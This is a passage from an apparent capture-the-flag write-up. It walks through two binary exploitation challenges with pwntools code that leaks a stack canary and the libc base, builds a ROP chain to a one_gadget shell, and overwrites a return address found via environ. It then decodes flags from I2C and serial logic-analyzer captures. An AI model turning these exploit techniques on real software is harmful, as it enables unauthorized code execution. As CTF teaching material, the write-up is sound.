libc_start_main_return = 0x21bf7
base = format_exploit(progress, 21)
libc.address = base - libc_start_main_return
Now that we know the canary and the libc base address we need to prepare ourself by having the right amount of pie.
def drop_pie(amount):
with log.progress("dropping pies") as progress:
progress.status("opening inventory menu")
select_menu('2')
progress.status("choose to drop some pies")
conn.recvuntil('> ')
conn.sendline('y')
progress.status("drop specified amount")
conn.recvuntil('> ')
conn.sendline(amount)
drop_pie('-11')
Finally we can do the overflow, the only problem is: where to return ? We can only return to one address. For this, one_gadget exists. If we provide the libc we're using, it gives us a list of return address that can open a shell.
Now that we know one of this super duper cool addresses we can forge our payload.
def retrieve_shell():
with log.progress("retrieving a shell") as progress:
progress.status("opening stare menu")
select_menu('3')
progress.status("forging rop")
rop = b"A" * (0x30 - 0x8)
rop += p64(canary)
# This value is not important
rop += p64(0x1234567890abcdef)
# 0x4f3d5 is the offset to open a shell with a single rop
# See: https://github.com/david942j/one_gadget
rop += p64(libc.address + 0x4f3d5)
progress.status("sending rop")
conn.recvuntil('> ')
conn.send(rop)
progress.status("remove error message")
conn.recvlines(2)
Now, with a shell, all we need to do is to cat the flag!
Pwn - Save the environment
This challenge is similar to minefield as we have a write what where condition and a win function.
Unfortunately we can't just do the same exploit again.
In this challenge you can recycle things in exchange of recycling point, with at least 10 recycling points we can ask to leak an arbitrary address.
So first thing we need to do is to farm these recycling points.
def farm_recycling():
with log.progress("farming recycling") as progress:
for i in range(0, 10):
progress.status("recycling number %d" % i)
prompt_answer("2")
prompt_answer("1")
prompt_answer("n")
Then we'll leak the libc base address by leaking the content of the got table.
def leak_libc_base():
with log.progress("leak libc base address") as progress:
progress.status("sending payload")
conn.recvuntil("> ")
conn.send(b"0x%x" % elf.got["puts"])
conn.recv(4)
progress.status("computing libc base address")
leak = conn.recvline().strip()
leak = u64(leak.ljust(8, b"\x00"))
libc.address = leak - libc.symbols["puts"]
The objective will be to overwrite the stack to return to the win function, the
only problem is we don't know where the stack is. For this we can use the
environ
inside the libc because by default it points to our stack.
def leak_environ():
with log.progress("leak environ from libc") as progress:
progress.status("go to recycling menu")
prompt_answer("2")
prompt_answer("1")
prompt_answer("y")
progress.status("sending payload")
conn.recvuntil("> ")
conn.send(b"0x%x" % libc.symbols["environ"])
conn.recv(4)
progress.status("computing environ")
environ = conn.recvline().strip()
environ = u64(environ.ljust(8, b"\x00"))
return environ
Now we need to find the offset from environ
to one of the return address. If
we find it, we can overwrite it to return to anywhere.
Because the environ is at the top of the stack, we need to search to the bottom (from infinity to zero). And here it is, 36 qword away from environ the return address of one function.
All we need now is to overwrite this address with the win function.
def write_what_where(what, where):
with log.progress("write what where") as progress:
progress.status("go to plant menu")
prompt_answer("1")
progress.status("sending the where")
conn.recvuntil("> ")
conn.send(b"0x%x" % where)
progress.status("sending the what")
conn.recvuntil("> ")
conn.send(b"0x%x" % what)
return_address_in_stack = environ - 0x8 * 36
write_what_where(elf.symbols["hidden_resources"], return_address_in_stack)
And here's the flag!
Hw - compromised
For this challenge, we have again a Saleae Logic project. There are 2 channels:
This is a I²C communication with channel 0 being SDA and channel 1 SCL, the clock.
We can add a I²C analyzer on logic and extract the analysis to dump.txt
.
Time [s],Packet ID,Address,Data,Read/Write,ACK/NAK
0.974250660000000,0,4,s,Write,ACK
0.999460300000000,0,4,e,Write,ACK
1.024669880000000,0,4,t,Write,ACK
1.049884460000000,0,4,_,Write,ACK
1.075094020000000,0,4,m,Write,ACK
1.100303660000000,0,4,a,Write,ACK
1.100553640000000,0,COMMA,C,Write,ACK
1.125763220000000,0,4,x,Write,ACK
1.125998200000000,0,COMMA,H,Write,ACK
Then we will use a python script to find the flag.
dump = open('dump.txt', 'r').read().split('\n')
# we follow the COMMA address, found by experimenting both 4 address and COMMA address
print(''.join([s.split(',')[3] for s in dump[1:-1] if "COMMA" in s.split(',')[2]])) # the flag
Hw - Serial logs
For this challenge, we have a Saleae Logic project export. Giving the name of the challenge, and the channel 1, we will use the serial Async
with the default settings:
Some logs appear then in the console:
[...more logs...]
[LOG] Connection from 6edec472e9754574d91f460e170b825bacee5f121b73805dffa4f2a5a7d23d7f
[LOG] Connection from 316636cf0500c22f97fa261585b72a48c4625aca7868f0f6ee253937620ac15c
[LOG] Connection from 4b1186d29d6b97f290844407273044e5202ddf8922163077b4a82615fdb22376
[LOG] Connection from 4b1186d29d6b97f290844407273044e5202ddf8922163077b4a82615fdb22376
[LOG] Connection from 4b1186d29d6b97f290844407273044e5202ddf8922163077b4a82615fdb22376
[ERR] Noise detected in channel. Swithcing baud to backup value
And after this error, there is garbage on the console output. This last message teach us that the channel baud has been changed from 115200
to some unknown value. After tried some common default values without success, we will try to figure out the baud by analysing the capture.
For this, we first take a charactere that could be found in the damaged communication.
So the timing for the first bit of communication is 8.48μs
.
We then compute \( f = \frac{1}{8.48\times 10^{-6}}\) where f is the baud value of the communication (which is roughly like a frequency)
We then measure the timing of the next first bits. We found a timing of 13.46μs
. So by trying the same computation that above, we find a baud of 74294
. Trying this setting, the flag appears at the end of the logs.